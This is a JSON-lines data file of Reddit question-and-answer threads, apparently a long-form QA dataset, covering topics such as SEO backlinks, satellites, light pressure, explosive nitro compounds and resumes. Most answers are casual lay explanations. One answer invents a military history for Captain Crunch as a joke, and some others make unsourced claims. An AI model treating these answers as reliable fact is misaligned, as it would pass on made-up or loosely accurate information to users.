{"q_id": "axldbp", "title": "what are backlinks in regards to seo and why are they such a big deal?", "selftext": "", "document": "", "subreddit": "explainlikeimfive", "url": "https://www.reddit.com/r/explainlikeimfive/comments/axldbp/eli5_what_are_backlinks_in_regards_to_seo_and_why/", "answers": {"a_id": ["ehu8f0b", "ehudo97"], "score": [5, 4], "text": ["Let\u2019s say your website is _URL_1_. You want to rank higher on Google.  SEO specialists might say that you need more backlinks, or links that click out to ESPN on other sites (referring sites like _URL_0_ or even Reddit).  \n\nGoogle searches for how many backlinks you have (or other sites that link to your content) and rank you on it. It\u2019s important because Google thinks that the most relevant content will have the most people talking about it (or referencing their content). ", "They are links from other websites to your site. They are a big deal because if somebody else thinks your content is important/interesting enough to link to, then Google views that as a strong endorsement of quality and value of your content."]}, "title_urls": [], "selftext_urls": [], "answers_urls": [["nfl.com", "ESPN.com"], []]}
{"q_id": "3gog7g", "title": "why automod even exists for these threads.", "selftext": "", "document": "", "subreddit": "explainlikeimfive", "url": "http://www.reddit.com/r/explainlikeimfive/comments/3gog7g/eli5_why_automod_even_exists_for_these_threads/", "answers": {"a_id": ["ctzzh6h"], "score": [3], "text": ["Because the point is to explain, not simply to state the answer. A lot of times if the question is answerable by a single answer the question itself is probably not ELI5 apropriate, but those dont get deleted as easily it seems\n"]}, "title_urls": [], "selftext_urls": [], "answers_urls": [[]]}
{"q_id": "kux73", "title": "occupy wall street.", "selftext": "I must have completely missed this despite my huge interest in business and finance. Can someone explain what's going on, or what that is? It doesn't really need to be like i'm five, but layman's terms is nice.\nThanks in advance. ", "document": "", "subreddit": "explainlikeimfive", "url": "http://www.reddit.com/r/explainlikeimfive/comments/kux73/eli5_occupy_wall_street/", "answers": {"a_id": ["c2ng23h", "c2nga13", "c2nhkci", "c2ni858", "c2ng23h", "c2nga13", "c2nhkci", "c2ni858"], "score": [4, 2, 6, 3, 4, 2, 6, 3], "text": ["The system has run its course and is crashing. Obama came to power promising to fix things, promising change. He never delivered. He made it worse. He appointed same guys to run the show. Promoted them, kept the status quo going.\n\nHowever to save the economical system changes must be implemented and these changes will never occur whilst those in power are against it (wall street execs, ceos etc). \n\nOccupy Wall Street basically demands change, demands dialogue and discussion how to fix things. Otherwise our economic system is doomed.\n\n", "[Here's](_URL_0_) a previous thread. Hope it helps.", "A bunch of ununified people gathering to shout things at people who don't make policy changes.  ", "Related ELI5...\n\nWhy have I heard nothing about this on major new sources? CNN, BBC, WSJ...I can't seem to find any coverage on it. Maybe I'm just not looking hard enough?", "The system has run its course and is crashing. Obama came to power promising to fix things, promising change. He never delivered. He made it worse. He appointed same guys to run the show. Promoted them, kept the status quo going.\n\nHowever to save the economical system changes must be implemented and these changes will never occur whilst those in power are against it (wall street execs, ceos etc). \n\nOccupy Wall Street basically demands change, demands dialogue and discussion how to fix things. Otherwise our economic system is doomed.\n\n", "[Here's](_URL_0_) a previous thread. Hope it helps.", "A bunch of ununified people gathering to shout things at people who don't make policy changes.  ", "Related ELI5...\n\nWhy have I heard nothing about this on major new sources? CNN, BBC, WSJ...I can't seem to find any coverage on it. Maybe I'm just not looking hard enough?"]}, "title_urls": [], "selftext_urls": [], "answers_urls": [[], ["http://www.reddit.com/r/explainlikeimfive/comments/krbx3/eli5_whats_the_deal_with_the_wall_street_protests/"], [], [], [], ["http://www.reddit.com/r/explainlikeimfive/comments/krbx3/eli5_whats_the_deal_with_the_wall_street_protests/"], [], []]}
{"q_id": "8thsvy", "title": "How Gone with the Wind become the highest grossing movie (adjusted to inflation) in history? Was Gone with the Wind an innovative movie?", "selftext": "There is a [partial answer](_URL_0_) to the first question. By innovative I mean if the movie has introduced new cinematic techniques or plot structures.", "document": "", "subreddit": "AskHistorians", "url": "https://www.reddit.com/r/AskHistorians/comments/8thsvy/how_gone_with_the_wind_become_the_highest/", "answers": {"a_id": ["e18cr2p"], "score": [5], "text": ["This article at [Smithsonian Magazine](_URL_0_) lists some facts about the book, it's reception, the fervor around the creation of the film, and how it broke many, many records. What can be ascertained is that Margaret Mitchell's book pulled a nostalgia from southern history that had been almost unspeakable in light of the Union victory, so there was something appealing about an underdog story. Other articles refer to the fact that housewives bought and read the novel in great numbers and this pushed the sales upward due to a mixed-gender audience that was enjoying it so much.\n\nThe expectations around how the film would be made were dramatic: $50,000.00 paid for the rights for the film (a record-breaking amount for that time,) speculation over who would play the lead of the film, over 1,400 actresses auditioned for the role. Some of this hype, along with the sheer expanse of the book and film (over 1,000 pages and the film coming in at 4 hours,) added to the grand scale of the project.\n\nAll of this contributed to its success, but the \"how\" is not really scientific. I believe, based on the data and some speculation, that the backward glance of this lost world was a kind of escapism that suited the grim realities of the Depression Era."]}, "title_urls": [], "selftext_urls": ["https://www.reddit.com/r/AskHistorians/comments/8fxn11/gone_with_the_wind_sold_over_202_million_tickets/"], "answers_urls": [["https://www.smithsonianmag.com/arts-culture/how-gone-wind-took-nation-storm-feeding-its-southern-sensibilities-180953617/"]]}
{"q_id": "xhk0l", "title": "You have an unlimited budget. Return Voyager 1 to Earth.", "selftext": "", "document": "", "subreddit": "askscience", "url": "http://www.reddit.com/r/askscience/comments/xhk0l/you_have_an_unlimited_budget_return_voyager_1_to/", "answers": {"a_id": ["c5me9d9", "c5mhirb"], "score": [5, 15], "text": ["Is there a timeframe to work with? \n\nIt's definitely possible, although logistically very difficult to say the least.  Voyager is traveling very quickly (by fortune of a pretty rare celestial alignment), but not so quickly as to be impossible to catch. ", "No.  \n\nVoyager 1 is traveling at 17 km/s, which is at least 11 km/s faster than the local solar escape velocity, which you would have to overcome in order to eventually bring the spacecraft back.  The current record for highest delta-v in a single mission is Dawn, which achieved more than 10 km/s.   Remember, we're governed by the laws of physics, and any spacecraft you send to push Voyager will have an extremely obese mass fraction.  Not to mention to achieve that delta-v, Dawn had an order of magnitude more power available (compared to Voyager 1) to activate its NSTAR thrusters.  \n\nNeedless to say, it would take centuries for a spacecraft with today's technology to catch up, and then probably in excess of millennia to bring it back, if it was at all physically possible. Just throw Tsiolkovskies equation at rough estimate of a xenon thruster with fuel tank and giant RTG, attach the giant mass of Voyager 1, and you'll get a pretty good figure of just how giant of a spacecraft you would need to get your mass fraction low enough to slow down Voyager 1.  Not physically possible.  "]}, "title_urls": [], "selftext_urls": [], "answers_urls": [[], []]}
{"q_id": "5zumxz", "title": "Why so many organic substances containing NO2 groups are explosive?", "selftext": "", "document": "", "subreddit": "askscience", "url": "https://www.reddit.com/r/askscience/comments/5zumxz/why_so_many_organic_substances_containing_no2/", "answers": {"a_id": ["df18vex", "df1h9e6", "df1i00r"], "score": [94, 13, 17], "text": ["The N-N triple bond is immensely strong - it's the second strongest diatomic bond.\n\nForming these triple bonds releases a lot of energy. If you have a compound that contains a lot of nitrogen, you can cause it to release a lot of energy by decomposing into N2 and other products. NO2 groups serve two functions - stabilising the nitrogen atoms until you want the molecule to decompose, and releasing energy themselves as the oxygen radicals rebond to the other atoms.\n\nThis is why many explosives are made of nitrogen compounds. It's all about causing the formation of triple bonds to release a huge amount of energy rapidly when the compound decomposes.", "ChazR answered, but I'll add this entertaining and topical blog post that can give you a more complete idea about what these Nitrogen and Oxygen bonds are all about in explosives: _URL_0_", "Nitrates (and nitrate groups) make excellent oxidizers. Not only the Oxygen is used but also the Nitrogen as well. The Oxygen combines with whatever is in the fuel, such as Carbon and Hydrogen to form CO2 and H2O, the Nitrogen combines most strongly with other Nitrogens, forming N2. This releases energy just as the combustion of Carbon/Hydrogen does, it also creates gas which massively increases the volume of the reaction's products compared to the starting materials, both of which create explosive effects."]}, "title_urls": [], "selftext_urls": [], "answers_urls": [[], ["http://blogs.sciencemag.org/pipeline/archives/2014/10/10/things_i_wont_work_with_peroxide_peroxides"], []]}
{"q_id": "3109mr", "title": "What ship did Captain Crunch captain?", "selftext": "", "document": "", "subreddit": "AskHistorians", "url": "http://www.reddit.com/r/AskHistorians/comments/3109mr/what_ship_did_captain_crunch_captain/", "answers": {"a_id": ["cpxfdmv"], "score": [3], "text": ["This is actually a common misconception (like how commander Shepard *is* captain of a ship, but had not reached the rank of captain).  Captain Crunch was not a naval officer, he was actually an officer in Napoleon's army.  He led many a brutal battle in Napoleon's conquest, and even advised against invading Russia.  Napoleon court-marshaled him for his insubordination and Charles Crunch was forced to create a cereal brand to pay the bills.  "]}, "title_urls": [], "selftext_urls": [], "answers_urls": [[]]}
{"q_id": "7vvg1m", "title": "how does windows / macos allow multiple sound sources to be played simultaneously while android / ios only allows one?", "selftext": "", "document": "", "subreddit": "explainlikeimfive", "url": "https://www.reddit.com/r/explainlikeimfive/comments/7vvg1m/eli5_how_does_windows_macos_allow_multiple_sound/", "answers": {"a_id": ["dtvdvhp"], "score": [2], "text": ["Android definitely allows you to play sound from multiple apps at the same time (read the first paragraph [here](_URL_0_)). Music players usually pause when there's another sound (such as a notification), but they can often be configured otherwise easily."]}, "title_urls": [], "selftext_urls": [], "answers_urls": [["https://developer.android.com/guide/topics/media-apps/audio-focus.html#audio-focus-8-0"]]}
{"q_id": "24wqg9", "title": "coca-cola freestyle: drink machine", "selftext": "\"Coca-Cola Freestyle dispenses different drinks by leveraging small cartridges of micro-dosed ingredients to create a multitude of choices. The cartridges fit snugly inside the machine, and technology within the machine identifies when each brand is low and needs to be replaced.\" ...what?", "document": "", "subreddit": "explainlikeimfive", "url": "http://www.reddit.com/r/explainlikeimfive/comments/24wqg9/eli5cocacola_freestyle_drink_machine/", "answers": {"a_id": ["chbectf", "chbjhtu"], "score": [5, 2], "text": ["Think about it like a drink printer. A printer can print any color you can imagine using only four colors: Cyan (Blue), Magenta (Red), Yellow, and Black. As you know, I'm sure, you can mix any two primary colors to get just about any color you want. \n\nThe Coca Cola Freestyle has a bunch of packets with concentrated flavors which can be combined in different proportions, with water, to create the drink you want. It can't make everything- the combinations are a lot more limited than what a printer can do. When one of them is running low, a computer inside the machine knows and can tell maintenance people to replace a cartridge with more of that flavor.", "Something I can answer, cool! I'm a manager at a restaurant that has two of these. We used to use a standard soda machine. We had a CO2 tank, bags of soda, and our water pipes. You push the lever for coke and a mix of those three comes rushing out. \n\nThe new machine is actually quite similar. Instead of using a 5 gallon bag of coke minus water, it's super concentrated coke in a smaller container. If you tasted it, it would taste just like coke without sugar and super strong. We still have the CO2 tank, and the water, and now we also have High fructose corn syrup. You pick Coke, and push the lever and a mixture of the Coke, water, syrup, and CO2 comes out.\n\nWhat makes the machine cooler though, is all the flavors. Since the flavors come in a much smaller package now, they can fit more in a given space. We can also fit extra flavors like cherry, vanilla, orange, rasberry, etc. Want orange Coke? (don't it's gross), the machine just adds orange flavor to the mix. Coke figured out just the right amount of each flavor to make it taste good, and a small computer in the machine spits it out just right every time. All the flavors are hooked up to one nozzle for convenience.\n\nFor us employees, the machine tracks the product. If it's out of soda, syrup, sugar free syrup, or CO2, it tells us. "]}, "title_urls": [], "selftext_urls": [], "answers_urls": [[], []]}
{"q_id": "5yetef", "title": "how satellites on direct tv and dish network maintain their signal as the earth rotates without skipping/dropping your program?", "selftext": "Their are only a few in the sky, and everyone is connected to them at once anyway. As the Earth rotates, and the satellite switches between access points, how does it *not* drop service? ", "document": "", "subreddit": "explainlikeimfive", "url": "https://www.reddit.com/r/explainlikeimfive/comments/5yetef/eli5_how_satellites_on_direct_tv_and_dish_network/", "answers": {"a_id": ["depece6", "depeugk", "depg1jh", "depn1b2"], "score": [64, 12, 3, 3], "text": ["They are in a geostationary orbit.  That means that the satellite is rotating with the earth, and remain directly overhead.", "The satellites are in geostationary orbit, a circular orbit above the equator at a height that gives an orbital period synchronised with the Earth's rotation. So from your point of view the satellite appears to hang in the sky not moving and your satellite dish can just be pointed at it.\n\nAdditionally, the satellites are broadcasting their signals for anyone on the ground, within the area covered by the signal, to recieve. There's no need for the satellite to make individual connections with the viewers or recieve any signals back from them. The satellite will recieve the 'uplink' signals from the TV company but that's only one signal per TV program at a time.\n\nTo do pay TV channels, the signals are encoded and people who want to watch them have to pay the TV company for the gadget to decode the signals.\n\nTerrestrial broadcast TV and radio works the same way, except instead of a satellite in the sky there's a tall transmission tower on the ground.", "Bit of additional info:\n\n* you  need 3 satellites to provide global coverage (north and south poles will have limited coverage)\n\n* when you move from 1 satellite region to another you need to readjust your antenna.\n\n* antennas on moving objects (ships, planes) move constantly to make sure they are still pointing at a satellite.\n\n* satellite's position is constantly being adjusted in space using thrusters to keep satellite in a given position to make sure you don't need to move your antenna. Satellite's position is mainly affected by earth's gravity field.", "They are positioned in the Clarke belt. This is the same Arthur C clarke that wrote science fiction.\n\n_URL_0_\n\nSatellites have small positioning engines on them to ensure that they do not wander from their assigned position. When the fuel (hydrogen peroxide) runs out after a few years, the satellite dies as it drifts out of position\n\n"]}, "title_urls": [], "selftext_urls": [], "answers_urls": [[], [], [], ["https://en.wikipedia.org/wiki/Geostationary_orbit"]]}
{"q_id": "bxirgz", "title": "why are we so repulsed by seeing people eat with their mouths open?", "selftext": "Why do they make bad guys in series/movies eat like pigs?  Does it really have such a powerful effect? I'm watching Happy at the moment and it seems to be recurrent way to make the audience hate the antagonists even more. It's definitely working on me!", "document": "", "subreddit": "explainlikeimfive", "url": "https://www.reddit.com/r/explainlikeimfive/comments/bxirgz/eli5_why_are_we_so_repulsed_by_seeing_people_eat/", "answers": {"a_id": ["eq71ft5", "eq725rp", "eq76ad2", "eq78mrr"], "score": [3, 4, 6, 10], "text": ["In movies it's done to present them in a way that makes them seem unsophisticated and animalistic. Barbaric, if you will. Humans take a lot of pride in their 'sophisticated' ways and we make strides daily to appear/be better than animals and each other.", "Its a matter of opinion/societal values. Not everyone instantly thinks its repulsive. The only reason I eat with my mouth shut is bevause I dont want to lose any food by having my mouth hanging open while chewing. There is at least one culture in the world that takes slurping and noises while eating as a compliment.", "I don\u2019t like seeing people eat with their mouths open because that is usually accompanied by noises that bother the hell out of me.", "If you ever go to China, or any Asian country from what I hear, but I can only speak to China, you'll quickly realize that the taboo against eating with your mouth open or making sounds while eating is nothing more than a social/cultural norm. \n\nEven on a flight, during meal time, with a majority Asian population, is enough to drive me insane. \n\nLuckily China is awesome in so many other ways."]}, "title_urls": [], "selftext_urls": [], "answers_urls": [[], [], [], []]}
{"q_id": "ek8111", "title": "If you turn an electromagnet on, does the magnetic field get created instantly, or does it get created gradually?", "selftext": "Follow up question: if it gets created gradually, how fast is it?", "document": "", "subreddit": "askscience", "url": "https://www.reddit.com/r/askscience/comments/ek8111/if_you_turn_an_electromagnet_on_does_the_magnetic/", "answers": {"a_id": ["fd9h6vk"], "score": [24], "text": ["It builds over time up to some maximum value, but the time is short - typically in the order of milliseconds.\n\nCurrent in an electromagnet follows V=L.di/dt (until resistive losses dominate), and field strength is proportional to ampere-turns (webers).\n\nTherefore, applying a high voltage can cause the field to grow (or shrink) more rapidly, however you then have to reduce the voltage to prevent excess current from burning the electromagnet.\n\nThis is why DC motors tend to burn if you prevent them from rotating - the magnetic fields inside stop changing, DC resistance dominates current control, far too much current flows and they overheat. When spinning, the magnetic fields are always changing, so V=L/di/dt prevents I from becoming catastrophically high.\n\nConversely, electromagnets also *create* voltage when the magnetic field tries to change strength - which is how transformers and generators work."]}, "title_urls": [], "selftext_urls": [], "answers_urls": [[]]}
{"q_id": "os4uk", "title": "Is it possible to actually damage your brain by thinking certain ways?", "selftext": "Can the things you think actually damage the structure of your brain? It's an odd question, I know.", "document": "", "subreddit": "askscience", "url": "http://www.reddit.com/r/askscience/comments/os4uk/is_it_possible_to_actually_damage_your_brain_by/", "answers": {"a_id": ["c3jnvr0", "c3jqc83", "c3jqt70"], "score": [6, 3, 3], "text": ["DISCLAIMER:  I'm by no means a scientist. [This](_URL_0_) lecture by [Stanford Professor, Robert Sapolski](_URL_1_) is the source of my information.\n\n\nActually, according to Professor Sapolski, yes. Supposedly stress actually causes physical damage to the brain, and makes brain injuries more damaging. He says that the cumulative effects of stress on the brain are a large part of age related memory loss and dementia.", "What about addiction? Can you do things within your conscious control (like thinking) in ways that change the brain in ways to be more like an addicted brain? Perhaps day dreaming all the time?", "I'm not a scientist, but in theory learning is largely based on neuroplasticity.\n\nThe older you get, then less effective your central nervous system is at rearranging connections.\n\nThat appears to be, for example, the reason most non native speakers of a language almost always retain a thick accent if they don't learn it before their teens: the brain has \"stiffened\" too much.\n\nNow think about the negative effects of shocking memories/thoughts on your brain and how permanent they can get if not addressed in time (provided they can be addressed at all).\n\nYour brain learns mainly by reshaping itself, so every trauma deeply affecting you could fit into the \"damage\" category.\n\nEDIT: i accidentally a word"]}, "title_urls": [], "selftext_urls": [], "answers_urls": [["http://video.google.com/videoplay?docid=1877467554618436978", "http://en.wikipedia.org/wiki/Robert_Sapolsky"], [], []]}
{"q_id": "5ee3em", "title": "what was/is the purpose of cowboy spurs?", "selftext": "", "document": "", "subreddit": "explainlikeimfive", "url": "https://www.reddit.com/r/explainlikeimfive/comments/5ee3em/eli5_what_wasis_the_purpose_of_cowboy_spurs/", "answers": {"a_id": ["dabq0xq", "dabq613"], "score": [3, 4], "text": ["They are used by horse riders to help guide the horse in a certain direction or to make them go fast.", "They are used by riders to guide them or to make them go faster. This is so ingrained that the term for them, \"spur\" is the English word for making something go faster. \n\nThe way that they do this is they cause a small discomfort (when used properly) that triggers the same instincts that the horse has when a predator is nipping at their hind legs. This makes they run faster to \"get away\" from the predator that does not really exist. "]}, "title_urls": [], "selftext_urls": [], "answers_urls": [[], []]}
{"q_id": "bhvpci", "title": "why many small children have difficulties blowing air?", "selftext": "", "document": "", "subreddit": "explainlikeimfive", "url": "https://www.reddit.com/r/explainlikeimfive/comments/bhvpci/eli5_why_many_small_children_have_difficulties/", "answers": {"a_id": ["elw7uya"], "score": [10], "text": ["I\u2019m guess you mean like at birthday parties where they have to blow out candles. They don\u2019t have a problem blowing out air, their problem is with forming their mouths in the correct way to directing the air to the intended target. It isn\u2019t to often that we get to practice blowing on a specific target."]}, "title_urls": [], "selftext_urls": [], "answers_urls": [[]]}
{"q_id": "4se2ug", "title": "When did \"it's Year A\" or \"it's not Year B anymore\" start gaining ground as a rhetorical device? Did people in, say, 1700 ever roll their eyes and say \"please, it's not 1650 anymore\"?", "selftext": "We seem to take for granted that \"c'mon, it's [current year]\" can be used as a dismissive remark against anything we see as outdated. Justin Trudeau famously said \"because it's 2015\" when asked why he'd insisted on having a 50/50 gender ratio in his cabinet; at the coronation of Willem-Alexander of the Netherlands, a (tiny) group of anti-monarchy protesters simply used \"it's 2013!\" as their slogan; and a common response to ideas seen as overly conservative is \"welcome to the 1950s.\"\n\nHowever, when you think about it, it's not as self-explanatory as it seems. It implies a view of history as a march of progress towards ever better ideas, a sort of \"Whig history\" if you will. So, when and where did this kind of rhetoric first appear?", "document": "", "subreddit": "AskHistorians", "url": "https://www.reddit.com/r/AskHistorians/comments/4se2ug/when_did_its_year_a_or_its_not_year_b_anymore/", "answers": {"a_id": ["d591zst"], "score": [297], "text": ["While he doesn't use that phrase exactly, Humfrey Barwick's *A breefe discourse* is a good example of that attitude dating back to at least the late 1500s. At the time firearms had almost completely replaced longbows in the English army and Barwick was writing in response to traditionalists who opposed the abandonment of what they considered their national weapon. He spends a great deal of time arguing that while the longbow may have been the best weapon on the battlefield in times past warfare had greatly changed due to the introduction of firearms. He gave multiple examples of how what used to be considered sufficient armor in the past was far weaker than the armor being used today.\n\nSir John Smythe in particular he accused of trying to prove archery's effectiveness with examples which were 200 to 2000 years old at the time.\n\n\"And whereas Sir Iohn Smith doth rehearse ma\u2223nye and sundrye exsamples of victories and ouer\u2223throwes, giuen by the force and effect of Archers, some aboue 2000. y\u00e9eres since, and some 200 y\u00e9eres since, and the most betwixt these times: but what hath b\u00e9ene doone since the perfect knowledge of fire weapons hath b\u00e9en in vse? and wheras Manuell the Emperour of Constantinople, had in his armour or Target the number of 30. arrowes sticking: one Harquebuze or Musket shot would haue dispatched the matter,\"\n\nHe even sarcastically asks if England should also give up its cannons and go back to using battering rams and other weapons fit for savages.\n\n\"what, shall we refuse the Cannon and fall to the Ram againe? or to knowne weapons more meeter for Sauadge people then for puissaunt Princes, that are able to maintaine those of the greatest force?\"\n\nEdit: A full text can be found here _URL_0_"]}, "title_urls": [], "selftext_urls": [], "answers_urls": [["http://quod.lib.umich.edu/e/eebo/A05277.0001.001?view=toc"]]}
{"q_id": "1ewsib", "title": "Does this study imply that people will live longer if they worked out *without* taking (much) protein?", "selftext": "Long-term low-protein, low-calorie diet and endurance exercise modulate metabolic factors associated with cancer risk1,2,3\n\n_URL_0_\n\n\n", "document": "", "subreddit": "askscience", "url": "http://www.reddit.com/r/askscience/comments/1ewsib/does_this_study_imply_that_people_will_live/", "answers": {"a_id": ["ca4kwux", "ca4kxwe", "ca4l3ar", "ca4onnu", "ca4z15b"], "score": [8, 5, 57, 2, 2], "text": ["I'd be interested as well, although to clarify they didn't participate in weight training, only endurance/running exercises. \n\nI bring up weight training because every study I've come across advises to consume more protein that the RDA. \n\n_URL_3_\n\n > For maximal muscle hypertrophy to occur, weightlifters need to consume 1.2-2.0 grams (g). protein kilogram. (kg)-1 and  >  44\u201350 kilocalories (kcal).kg-1 body weight daily [1-9]. **This is considerably higher than the recommended dietary allowance** (RDA) for protein (currently 0.8 _URL_2_-1) which meets the needs of 97.5% of all healthy adult Americans not engaged in weightlifting with the intent of gaining muscle mass [8].\n\nBolding is mine.\n\nIt appears the [low-protein diet](_URL_1_) from the study constituted a ~._URL_0_ ratio, which to me doesn't seem that much lower than the .8_URL_2_ RDA.\n\nI couldn't find any studies on the effect of weight training and cancer risk/prevention. ", "There general consensus leads that way in this particular study, but I feel more research should be done.  It is a small group being tested.  The lower calories would lead to a decrease in BMI obviously.  This in turn lowers adipose tissue, and excess adipose tissue is known to have negative health affects because of the associative diseases that follow.  \n\nThis would be interesting to control macronutrients/calories and conduct the same study but involve some resistance training and see how the dosing of protein signals protein synthesis. \n\nIn the end it surely seems to imply you could live longer but there were alot of factors that could contribute to the decrease in hormone levels.  A good amount of room for error", "I think the answers you are looking for are at the end of the paper.  The authors say:\n\n >  In conclusion, our data show that the consumption of a low-protein, low-calorie diet; exercise training; and decreased adiposity are associated with low plasma insulin, C-peptide, FAI, leptin, and C-reactive protein and high SHBG concentrations, which are circulating factors linked with some types of cancer.\n\nHigh concentrations of those factors (except lower for SBGH) are associated with different types of cancers.  This doesn't necessarily mean that high concentrations of these factors cause cancer.  It means when you find certain types of cancer, you are likely to find high concentrations of some of these factors too.\n\nTheir experiments showed that 3 things: exercise, a low protein/calorie diet, and low adiposity, are all associated with lower concentrations of these factors (and higher SBGH).  This, again, doesn't necessarily mean that lower levels of these factors (and higher SBGH) will lead to a reduced cancer risk.  But, as the authors say:\n\n >  These results help to identify potential mechanisms by which long-term lifestyle modifications in diet or physical activity can selectively reduce circulating factors that are associated with increased cancer risk.\n\nThis idea has yet to be proven and the association observed in this study is only shown with 21 people.  And unfortunately, it would be difficult to try to provide proof for this idea:\n\n >  A long-term randomized controlled trial would be needed to determine cause-and-effect relations.\n\nIt seems that this was a relatively small but practical study that looked at the associations between several cancer-related factors and diet/exercise that may prepare the way for more investigation into this potential relationship.", "they compared it to \"sedentary subjects eating Western diets\". almost *anything* will be better.", "From Harvard School of Public Health: _URL_0_\n\nCancer: There\u2019s no good evidence that eating a little protein or a lot of it influences cancer risk. Eating a lot of red meat is linked to an increased risk of colon cancer, however, as is eating processed meat. (3)\n\nResearch suggests that people who eat even modest amounts of red meat have a higher risk of developing colon cancer, heart disease, and diabetes, and a higher risk of dying from heart disease, cancer, or any cause. (3\u20137) "]}, "title_urls": [], "selftext_urls": ["http://ajcn.nutrition.org/content/84/6/1456.short"], "answers_urls": [["73g.kg", "http://ajcn.nutrition.org/content/84/6/1456/T1.expansion.html", "g.kg", "http://www.jissn.com/content/9/1/54", "8g.kg"], [], [], [], ["http://www.hsph.harvard.edu/nutritionsource/protein-full-story/"]]}
{"q_id": "1xwaw7", "title": "Is it possible to feel light?", "selftext": "For clarification, I don't mean to feel the heat from a light source.    \nFor example, an old fashion lightbulb vs LED lights.  \nThe old fashion bulb is slightly bright but gives off a lot of heat, yet LED lights can be much brighter while giving off almost no heat. So is it possible for a light to be so intense that you can actually feel the light particles (photons, i think?) hit you without feeling heat from it?  \n(this being theoretical of course, pretending we could create a light source brighter than anything in the universe)", "document": "", "subreddit": "askscience", "url": "http://www.reddit.com/r/askscience/comments/1xwaw7/is_it_possible_to_feel_light/", "answers": {"a_id": ["cff7pg7", "cffawpl"], "score": [16, 2], "text": ["Theoretically yes, practically no. Light exerts radiation pressure, but if you were exposed to enough light to feel it, it would burn you to a crisp. You'd have to have extremely reflective skin to feel pressure but not heat. A 1 Watt laser can burn you, and a [megawatt laser](_URL_0_) would provide the equivalent force of 340 milligrams on Earth. *Maybe* the National Ignition Facility laser could produce noticeable pressure, but it would destroy anything it hits.", "Interesting question!\n\nFirst, we need to know what the smallest force the human skin can detect is.  I couldn't really find a decent answer via Google, so for the sake of argument then, let's estimate that the human fingertip can detect the pressure from the weight of 1 grain of sand, which is roughly 1 milligram per square millimeter.\n\nNow, pressure is force over area, and force is the change in momentum with respect to time.  Let's approximate the skin's reflectivity as being sufficiently close to zero that most of the incident photons are absorbed (this will give us a more conservative answer, since reflection imparts twice the momentum than absorption).  Then, assuming that the light is hitting the skin from a perfectly perpendicular angle, the pressure of the light is:\n\nP = dp/dt/A = dE/dt/c/A = I/c,\n\nwhere dp/dt is the change of the momentum of light, A is the surface area of the skin, E is the energy of the light, c is the speed of light, and finally I is the irradiance (amount of energy passing through an area per unit time; we can express this in Watts per meter squared: W/m^2 ).\n\nRearranging and plugging our value for the sensitivity of the skin in:\n\nI = P x c = (10^-6 kg x 9.81 m s^-2 )(10^6 m^-2 ) x (3 x 10^8 m s^-1 ) ~ 3 x 10^9 W m^-2\n\nSo if you want to know how bright a light would have to be to feel it on the end of your fingertip, say ~ 1 square centimeter, you'd need around *a hundred thousand Watts per square centimeter*.  So you'd be fried before you ever felt a push.\n\n"]}, "title_urls": [], "selftext_urls": [], "answers_urls": [["http://en.wikipedia.org/wiki/Boeing_YAL-1"], []]}
{"q_id": "ganot", "title": "Why do scientists assume that if there is infinite space there must be infinite matter?", "selftext": "I hear this a lot. Most recently from Brian Greene. He basically states that if the universe is infinite then there must be other \"us's\" waaaay out there somewhere. But why? If space is infinite can't the amount of stuff in that space still be finite?", "document": "", "subreddit": "askscience", "url": "http://www.reddit.com/r/askscience/comments/ganot/why_do_scientists_assume_that_if_there_is/", "answers": {"a_id": ["c1m5h2r", "c1m5hk0"], "score": [3, 2], "text": ["Assuming that scientists do indeed assume precisely that, it seems to me that it essentially stems from the [Cosmological Principle](_URL_1_) which basically states that the Universe looks the same in all directions, viz. the Universe is isotropic (same in all directions) and homogeneous (\"stuff\" is uniformly distributed). This [fits with our observations](_URL_0_). Yes, it's just an assumption, and we'll never know if it holds for \"the entire Universe\", but it works pretty well as far as we can tell.", "The laws of physics are the same everywhere. If there's stuff *here*\u00a0\u2014\u00a0by which I mean the volume we currently occupy that's, oh let's call it half a billion light-years on a side \u2014 and there *isn't* stuff *there,* there'd better be a damn good reason for it."]}, "title_urls": [], "selftext_urls": [], "answers_urls": [["http://en.wikipedia.org/wiki/Large_scale_structure_of_the_cosmos#Large-scale_structure", "http://en.wikipedia.org/wiki/Cosmological_principle"], []]}
{"q_id": "1tmt3h", "title": "why are movie theatre employees exempt from overtime pay?", "selftext": "I work at a movie theatre where I sometimes put in 50-60 hours a week. I've read a lot about how movie theaters don't have to pay their employees overtime, but I can't find out why. What's the difference between working at a theatre from working any other hourly wage job?", "document": "", "subreddit": "explainlikeimfive", "url": "http://www.reddit.com/r/explainlikeimfive/comments/1tmt3h/eli5_why_are_movie_theatre_employees_exempt_from/", "answers": {"a_id": ["ce9i59u"], "score": [3], "text": ["Movie theater owners successfully lobbied to be excluded from US overtime regulations. If I recall correctly, they argued that the sporadic nature of the work (cleaning up theaters between movies specifically) made it unreasonably hard to avoid overtime."]}, "title_urls": [], "selftext_urls": [], "answers_urls": [[]]}
{"q_id": "5jzvl7", "title": "how to make a proper job resume (a successful one)", "selftext": "", "document": "", "subreddit": "explainlikeimfive", "url": "https://www.reddit.com/r/explainlikeimfive/comments/5jzvl7/eli5how_to_make_a_proper_job_resume_a_successful/", "answers": {"a_id": ["dbk8kut"], "score": [2], "text": ["Be pointed in your resume.  Avoid using any filler, or big buzzwords.  Keep it short, only one page...anything else you may think should be on a resume should instead be on a cv included with the resume.  List your previous jobs, but refrain from putting stuff like \"job duties\" or \"responsibilities\", if that is relevant, your cv or interview would be where it should be brought up.  Avoid listing personal references, and instead rely on the standard \"available upon request\".  I've done a lot of hiring and I've never called any personal references, so it's not necessary that they be included most of the time.  \nFiller would be stuff like extra curricular activities (most jobs will not care if you were on the swim team.) If it is relevant to the job position, then include it, but mostly the only relevant stuff should be your previous work experience and education.  I've also noted that if you're more than five years out of high school then it is not necessary to include your high school on the resume.  It also might not be needed to include your college if it is not applicable to the position.  For example, a degree in english composition is not really relevant if you're applying to be a machinist.  The best advice overall, when all this is boiled down is probably \"keep it short, and keep it relevant\"."]}, "title_urls": [], "selftext_urls": [], "answers_urls": [[]]}
